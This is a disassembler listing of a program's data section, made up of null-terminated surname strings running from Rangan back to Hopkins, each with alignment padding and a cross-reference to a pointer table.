aRangan		db 'Rangan',0           ; DATA XREF: .data:0043D298o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: .data:0043D294o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .data:0043D290o
aRadeke		db 'Radeke',0           ; DATA XREF: .data:0043D28Co
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .data:0043D288o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: .data:0043D284o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .data:0043D280o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: .data:0043D27Co
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .data:0043D278o
aPugh		db 'Pugh',0             ; DATA XREF: .data:0043D274o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .data:0043D270o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .data:0043D26Co
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: .data:0043D268o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .data:0043D264o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: .data:0043D260o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: .data:0043D25Co
aPreucel	db 'Preucel',0          ; DATA XREF: .data:0043D258o
aPresper	db 'Presper',0          ; DATA XREF: .data:0043D254o
aPowers		db 'Powers',0           ; DATA XREF: .data:0043D250o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: .data:0043D24Co
aPoma		db 'Poma',0             ; DATA XREF: .data:0043D248o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: .data:0043D244o
aPolanyi	db 'Polanyi',0          ; DATA XREF: .data:0043D240o
aPolak		db 'Polak',0            ; DATA XREF: .data:0043D23Co
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: .data:0043D238o
aPointer	db 'Pointer',0          ; DATA XREF: .data:0043D234o
aPoincaire	db 'Poincaire',0        ; DATA XREF: .data:0043D230o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .data:0043D22Co
		align 10h
aPo		db 'Po',0               ; DATA XREF: .data:0043D228o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: .data:0043D224o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .data:0043D220o
aPlant		db 'Plant',0            ; DATA XREF: .data:0043D21Co
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .data:0043D218o
aPinot		db 'Pinot',0            ; DATA XREF: .data:0043D214o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .data:0043D210o
aPfister	db 'Pfister',0          ; DATA XREF: .data:0043D20Co
aPettit		db 'Pettit',0           ; DATA XREF: .data:0043D208o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .data:0043D204o
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: .data:0043D200o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .data:0043D1FCo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .data:0043D1F8o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: .data:0043D1F4o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: .data:0043D1F0o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: .data:0043D1ECo
aPerlak		db 'Perlak',0           ; DATA XREF: .data:0043D1E8o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: .data:0043D1E4o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .data:0043D1E0o
aPenny		db 'Penny',0            ; DATA XREF: .data:0043D1DCo
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .data:0043D1D8o
aPederson	db 'Pederson',0         ; DATA XREF: .data:0043D1D4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .data:0043D1D0o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: .data:0043D1CCo
aPaynter	db 'Paynter',0          ; DATA XREF: .data:0043D1C8o
aPawloski	db 'Pawloski',0         ; DATA XREF: .data:0043D1C4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: .data:0043D1C0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .data:0043D1BCo
aPattullo	db 'Pattullo',0         ; DATA XREF: .data:0043D1B8o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: .data:0043D1B4o
aPatefield	db 'Patefield',0        ; DATA XREF: .data:0043D1B0o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .data:0043D1ACo
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: .data:0043D1A8o
		align 4
aParris		db 'Parris',0           ; DATA XREF: .data:0043D1A4o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .data:0043D1A0o
aPaoletti	db 'Paoletti',0         ; DATA XREF: .data:0043D19Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .data:0043D198o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: .data:0043D194o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .data:0043D190o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .data:0043D18Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .data:0043D188o
aPalepu		db 'Palepu',0           ; DATA XREF: .data:0043D184o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .data:0043D180o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .data:0043D17Co
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .data:0043D178o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: .data:0043D174o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .data:0043D170o
aOtten		db 'Otten',0            ; DATA XREF: .data:0043D16Co
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .data:0043D168o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .data:0043D164o
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: .data:0043D160o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: .data:0043D15Co
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: .data:0043D158o
aOray		db 'Oray',0             ; DATA XREF: .data:0043D154o
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: .data:0043D150o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .data:0043D14Co
aOman		db 'Oman',0             ; DATA XREF: .data:0043D148o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .data:0043D144o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .data:0043D140o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: .data:0043D13Co
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: .data:0043D138o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: .data:0043D134o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .data:0043D130o
aOh		db 'Oh',0               ; DATA XREF: .data:0043D12Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: .data:0043D128o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .data:0043D124o
aNuzum		db 'Nuzum',0            ; DATA XREF: .data:0043D120o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .data:0043D11Co
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .data:0043D118o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: .data:0043D114o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .data:0043D110o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: .data:0043D10Co
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .data:0043D108o
		align 4
aNg		db 'Ng',0               ; DATA XREF: .data:0043D104o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: .data:0043D100o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .data:0043D0FCo
aNeuman		db 'Neuman',0           ; DATA XREF: .data:0043D0F8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .data:0043D0F4o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .data:0043D0F0o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: .data:0043D0ECo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: .data:0043D0E8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .data:0043D0E4o
aNardone	db 'Nardone',0          ; DATA XREF: .data:0043D0E0o
aNardi		db 'Nardi',0            ; DATA XREF: .data:0043D0DCo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .data:0043D0D8o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .data:0043D0D4o
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: .data:0043D0D0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .data:0043D0CCo
aMulroy		db 'Mulroy',0           ; DATA XREF: .data:0043D0C8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .data:0043D0C4o
aMugnai		db 'Mugnai',0           ; DATA XREF: .data:0043D0C0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: .data:0043D0BCo
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: .data:0043D0B8o
aMotooka	db 'Motooka',0          ; DATA XREF: .data:0043D0B4o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .data:0043D0B0o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: .data:0043D0ACo
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .data:0043D0A8o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: .data:0043D0A4o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .data:0043D0A0o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: .data:0043D09Co
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: .data:0043D098o
aMorani		db 'Morani',0           ; DATA XREF: .data:0043D094o
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .data:0043D090o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .data:0043D08Co
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .data:0043D088o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .data:0043D084o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: .data:0043D080o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .data:0043D07Co
aModestino	db 'Modestino',0        ; DATA XREF: .data:0043D078o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .data:0043D074o
aMittal		db 'Mittal',0           ; DATA XREF: .data:0043D070o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .data:0043D06Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .data:0043D068o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: .data:0043D064o
aMini		db 'Mini',0             ; DATA XREF: .data:0043D060o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .data:0043D05Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: .data:0043D058o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .data:0043D054o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .data:0043D050o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .data:0043D04Co
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: .data:0043D048o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: .data:0043D044o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .data:0043D040o
aMerz		db 'Merz',0             ; DATA XREF: .data:0043D03Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: .data:0043D038o
aMerminod	db 'Merminod',0         ; DATA XREF: .data:0043D034o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .data:0043D030o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .data:0043D02Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .data:0043D028o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .data:0043D024o
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: .data:0043D020o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .data:0043D01Co
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .data:0043D018o
aMclaren	db 'Mclaren',0          ; DATA XREF: .data:0043D014o
aMclane		db 'Mclane',0           ; DATA XREF: .data:0043D010o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .data:0043D00Co
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .data:0043D008o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: .data:0043D004o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .data:0043D000o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .data:0043CFFCo
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: .data:0043CFF8o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .data:0043CFF4o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .data:0043CFF0o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .data:0043CFECo
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .data:0043CFE8o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .data:0043CFE4o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .data:0043CFE0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .data:0043CFDCo
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: .data:0043CFD8o
aMay		db 'May',0              ; DATA XREF: .data:0043CFD4o
aMauzy		db 'Mauzy',0            ; DATA XREF: .data:0043CFD0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .data:0043CFCCo
aMatsukata	db 'Matsukata',0        ; DATA XREF: .data:0043CFC8o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .data:0043CFC4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .data:0043CFC0o
aMass		db 'Mass',0             ; DATA XREF: .data:0043CFBCo
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .data:0043CFB8o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: .data:0043CFB4o
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: .data:0043CFB0o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: .data:0043CFACo
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: .data:0043CFA8o
aMargetts	db 'Margetts',0         ; DATA XREF: .data:0043CFA4o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .data:0043CFA0o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: .data:0043CF9Co
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .data:0043CF98o
		align 4
aMarch		db 'March',0            ; DATA XREF: .data:0043CF94o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: .data:0043CF90o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: .data:0043CF8Co
aMandel		db 'Mandel',0           ; DATA XREF: .data:0043CF88o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: .data:0043CF84o
aMalova		db 'Malova',0           ; DATA XREF: .data:0043CF80o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: .data:0043CF7Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: .data:0043CF78o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: .data:0043CF74o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .data:0043CF70o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: .data:0043CF6Co
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: .data:0043CF68o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: .data:0043CF64o
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: .data:0043CF60o
aMacy		db 'Macy',0             ; DATA XREF: .data:0043CF5Co
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: .data:0043CF58o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .data:0043CF54o
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: .data:0043CF50o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .data:0043CF4Co
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: .data:0043CF48o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .data:0043CF44o
		align 4
aMa		db 'Ma',0               ; DATA XREF: .data:0043CF40o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .data:0043CF3Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .data:0043CF38o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: .data:0043CF34o
aLuoma		db 'Luoma',0            ; DATA XREF: .data:0043CF30o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: .data:0043CF2Co
aLuecke		db 'Luecke',0           ; DATA XREF: .data:0043CF28o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: .data:0043CF24o
aLuciano	db 'Luciano',0          ; DATA XREF: .data:0043CF20o
aLucas		db 'Lucas',0            ; DATA XREF: .data:0043CF1Co
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .data:0043CF18o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: .data:0043CF14o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .data:0043CF10o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .data:0043CF0Co
aLoss		db 'Loss',0             ; DATA XREF: .data:0043CF08o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .data:0043CF04o
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: .data:0043CF00o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: .data:0043CEFCo
aLivolsi	db 'Livolsi',0          ; DATA XREF: .data:0043CEF8o
aLivi		db 'Livi',0             ; DATA XREF: .data:0043CEF4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .data:0043CEF0o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: .data:0043CEECo
		align 4
aLittle		db 'Little',0           ; DATA XREF: .data:0043CEE8o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: .data:0043CEE4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .data:0043CEE0o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: .data:0043CEDCo
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: .data:0043CED8o
aLine		db 'Line',0             ; DATA XREF: .data:0043CED4o
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: .data:0043CED0o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: .data:0043CECCo
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: .data:0043CEC8o
aLim		db 'Lim',0              ; DATA XREF: .data:0043CEC4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .data:0043CEC0o
		align 4
aLight		db 'Light',0            ; DATA XREF: .data:0043CEBCo
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: .data:0043CEB8o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .data:0043CEB4o
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: .data:0043CEB0o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .data:0043CEACo
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: .data:0043CEA8o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .data:0043CEA4o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .data:0043CEA0o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .data:0043CE9Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .data:0043CE98o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: .data:0043CE94o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: .data:0043CE90o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: .data:0043CE8Co
aLashley	db 'Lashley',0          ; DATA XREF: .data:0043CE88o
aLaserna	db 'Laserna',0          ; DATA XREF: .data:0043CE84o
aLanzit		db 'Lanzit',0           ; DATA XREF: .data:0043CE80o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: .data:0043CE7Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .data:0043CE78o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .data:0043CE74o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .data:0043CE70o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .data:0043CE6Co
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: .data:0043CE68o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .data:0043CE64o
aLa		db 'La',0               ; DATA XREF: .data:0043CE60o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .data:0043CE5Co
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: .data:0043CE58o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: .data:0043CE54o
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .data:0043CE50o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .data:0043CE4Co
aKroemer	db 'Kroemer',0          ; DATA XREF: .data:0043CE48o
aKraus		db 'Kraus',0            ; DATA XREF: .data:0043CE44o
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: .data:0043CE40o
aKrailo		db 'Krailo',0           ; DATA XREF: .data:0043CE3Co
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: .data:0043CE38o
aKovaks		db 'Kovaks',0           ; DATA XREF: .data:0043CE34o
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: .data:0043CE30o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: .data:0043CE2Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: .data:0043CE28o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .data:0043CE24o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .data:0043CE20o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: .data:0043CE1Co
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .data:0043CE18o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .data:0043CE14o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: .data:0043CE10o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .data:0043CE0Co
aKnuff		db 'Knuff',0            ; DATA XREF: .data:0043CE08o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: .data:0043CE04o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .data:0043CE00o
aKling		db 'Kling',0            ; DATA XREF: .data:0043CDFCo
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: .data:0043CDF8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .data:0043CDF4o
aKleiman	db 'Kleiman',0          ; DATA XREF: .data:0043CDF0o
aKleckner	db 'Kleckner',0         ; DATA XREF: .data:0043CDECo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: .data:0043CDE8o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .data:0043CDE4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .data:0043CDE0o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: .data:0043CDDCo
aKindall	db 'Kindall',0          ; DATA XREF: .data:0043CDD8o
aKimura		db 'Kimura',0           ; DATA XREF: .data:0043CDD4o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .data:0043CDD0o
aKimmel		db 'Kimmel',0           ; DATA XREF: .data:0043CDCCo
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .data:0043CDC8o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: .data:0043CDC4o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: .data:0043CDC0o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: .data:0043CDBCo
aKemsley	db 'Kemsley',0          ; DATA XREF: .data:0043CDB8o
aKempton	db 'Kempton',0          ; DATA XREF: .data:0043CDB4o
aKelsey		db 'Kelsey',0           ; DATA XREF: .data:0043CDB0o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: .data:0043CDACo
		align 4
aKeith		db 'Keith',0            ; DATA XREF: .data:0043CDA8o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: .data:0043CDA4o
aKeenan		db 'Keenan',0           ; DATA XREF: .data:0043CDA0o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: .data:0043CD9Co
aKawachi	db 'Kawachi',0          ; DATA XREF: .data:0043CD98o
aKasten		db 'Kasten',0           ; DATA XREF: .data:0043CD94o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .data:0043CD90o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .data:0043CD8Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .data:0043CD88o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .data:0043CD84o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .data:0043CD80o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .data:0043CD7Co
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: .data:0043CD78o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: .data:0043CD74o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .data:0043CD70o
aKafadar	db 'Kafadar',0          ; DATA XREF: .data:0043CD6Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .data:0043CD68o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: .data:0043CD64o
aJulious	db 'Julious',0          ; DATA XREF: .data:0043CD60o
aJuliano	db 'Juliano',0          ; DATA XREF: .data:0043CD5Co
aJucks		db 'Jucks',0            ; DATA XREF: .data:0043CD58o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .data:0043CD54o
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: .data:0043CD50o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .data:0043CD4Co
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: .data:0043CD48o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .data:0043CD44o
aJewett		db 'Jewett',0           ; DATA XREF: .data:0043CD40o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: .data:0043CD3Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .data:0043CD38o
aJellis		db 'Jellis',0           ; DATA XREF: .data:0043CD34o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: .data:0043CD30o
aJay		db 'Jay',0              ; DATA XREF: .data:0043CD2Co
aJarrell	db 'Jarrell',0          ; DATA XREF: .data:0043CD28o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .data:0043CD24o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .data:0043CD20o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: .data:0043CD1Co
		align 10h
aJain		db 'Jain',0             ; DATA XREF: .data:0043CD18o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .data:0043CD14o
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: .data:0043CD10o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: .data:0043CD0Co
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: .data:0043CD08o
aJacenko	db 'Jacenko',0          ; DATA XREF: .data:0043CD04o
aIyer		db 'Iyer',0             ; DATA XREF: .data:0043CD00o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: .data:0043CCFCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .data:0043CCF8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .data:0043CCF4o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .data:0043CCF0o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: .data:0043CCECo
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .data:0043CCE8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: .data:0043CCE4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .data:0043CCE0o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .data:0043CCDCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .data:0043CCD8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .data:0043CCD4o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .data:0043CCD0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .data:0043CCCCo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .data:0043CCC8o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: .data:0043CCC4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .data:0043CCC0o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: .data:0043CCBCo
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: .data:0043CCB8o
aHoward		db 'Howard',0           ; DATA XREF: .data:0043CCB4o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: .data:0043CCB0o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: .data:0043CCACo
aHoshida	db 'Hoshida',0          ; DATA XREF: .data:0043CCA8o
aHorsley	db 'Horsley',0          ; DATA XREF: .data:0043CCA4o
aHopkins	db 'Hopkins',0          ; DATA XREF: .data:0043CCA0o
